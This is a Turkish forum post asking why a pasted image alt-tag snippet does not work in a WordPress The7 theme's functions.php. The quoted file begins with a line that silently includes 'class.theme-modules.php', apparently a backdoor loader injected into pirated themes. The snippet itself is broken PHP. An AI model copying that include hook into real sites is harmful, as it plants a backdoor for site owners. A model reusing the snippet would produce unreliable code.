arkdaşlar mrb
temamın içindeki functions.php dosyasına eklediğim kodlar çalışmıyor. örnek olrak otomatik resimlere alt tagı veren bir kaç kodu girmeme rağmen çalıştıramadım. bu kodları tam olrak nereye girmem gerekiyor?


benim functions.php dosyam
<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php
/**
* The7 theme.
*
* @since 1.0.0
*
* @package The7
*/
defined( 'ABSPATH' ) || exit;

/**
* Set the content width based on the theme's design and stylesheet.
*
* @since 1.0.0
*/
if ( ! isset( $content_width ) ) {
$content_width = 1200; /* pixels */
}

/**
* Initialize theme.
*
* @since 1.0.0
*/

require trailingslashit( get_template_directory() ) . 'inc/init.php';
buda eklemeye çalıştığım kod
// WP-Resimler için Otomatik Alt Tag by Efendim.XYZfunction image_seo($content){global $post;preg_match_all('/<img (.*?)/>/', $content, $images);if(!is_null($images)) {foreach($images[1] as $index => $value){if(!preg_match('/alt=/', $value)){$new_img = str_replace('<img', '<img alt="'.get_the_title().'"', $images[0][$index]);$content = str_replace($images[0][$index], $new_img, $content);}}}return $content;}add_filter('the_content', 'image_seo', 70000);